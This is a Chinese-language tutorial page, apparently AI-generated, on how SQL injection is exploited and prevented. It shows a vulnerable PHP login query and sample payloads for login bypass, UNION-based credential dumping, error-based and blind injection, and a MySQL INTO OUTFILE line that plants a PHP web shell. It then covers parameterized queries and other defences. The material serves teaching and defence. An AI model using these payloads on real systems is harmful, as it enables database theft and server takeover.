温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

SQL注入如何被利用

发布时间:2026-10-16 12:45:44 来源:亿速云 阅读:113 作者:小樊 栏目:数据库

SQL注入(SQL Injection)是一种常见且危害严重的Web安全漏洞,本质上是攻击者把恶意SQL代码拼接到应用程序发给数据库的查询中,从而改变原有SQL语句的逻辑,达到未授权操作数据库的目的。

下面从利用原理 → 常见利用方式 → 实例 → 危害 → 防御几个层面说明。


一、利用原理(为什么能注入)

典型问题代码(以登录为例):

$sql = "SELECT * FROM users 
        WHERE username = '$user' 
        AND password = '$pass'";

如果用户输入:

  • 用户名:admin' --
  • 密码:任意

最终SQL变成:

SELECT * FROM users 
WHERE username = 'admin' -- ' AND password = 'xxx'

-- 是SQL注释,后面的条件被忽略
➡ 直接以 admin 身份登录

核心原因:

用户输入被当作“代码”而不是“数据”


二、常见利用方式

1. 绕过身份认证

  • 登录框
  • 后台管理系统
  • 找回密码接口
' OR '1'='1

2. Union 注入(拖库)

利用 UNION SELECT 读取其他表数据:

' UNION SELECT username, password FROM admin --

可获取:

  • 账号
  • 密码(明文或哈希)
  • 敏感业务数据

3. 报错注入(获取信息)

通过数据库报错泄露结构:

' AND extractvalue(1, concat(0x7e, version())) --

可获取:

  • 数据库版本
  • 表名
  • 字段名

4. 盲注(Bool / Time)

当页面不显示数据也不报错时使用:

布尔盲注

' AND (SELECT substr(password,1,1) FROM admin)='a' --

时间盲注

' AND IF(1=1, SLEEP(5), 0) --

通过响应时间判断条件是否成立。


5. 写文件 / 命令执行(高危)

在权限允许时:

'; INSERT INTO ... ; --

MySQL 示例(写WebShell):

UNION SELECT "<?php system($_GET['c']);?>" 
INTO OUTFILE "/var/www/shell.php"

➡ 直接导致服务器被控制


三、实际危害

  • 拖库(用户数据泄露)
  • 篡改数据(订单、余额)
  • 删除数据
  • 提权 & 控制服务器
  • 作为内网渗透入口

四、如何防御(重点)

✅ 正确做法

  1. 参数化查询 / 预编译
$stmt = $pdo->prepare(
  "SELECT * FROM users WHERE user=? AND pass=?"
);
$stmt->execute([$user, $pass]);
  1. ORM 框架(MyBatis、Hibernate、EF)
  2. 最小数据库权限
  3. 关闭错误信息对外展示
  4. 输入校验 + 输出编码
  5. WAF(辅助,不是根本)

❌ 错误做法

  • 字符串拼接SQL
  • 仅用 replace("'","")
  • 依赖黑名单

五、总结一句话

SQL注入的利用本质,是让用户输入成为SQL语句的一部分,从而操控数据库逻辑;防御的核心是永远不要把用户输入当代码执行。

如果你愿意,我也可以:

  • 用 DVWA / sqli-labs 给你演示
  • 分析某个真实漏洞案例
  • 讲 如何做SQL注入测试(合法环境)
向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI
助
手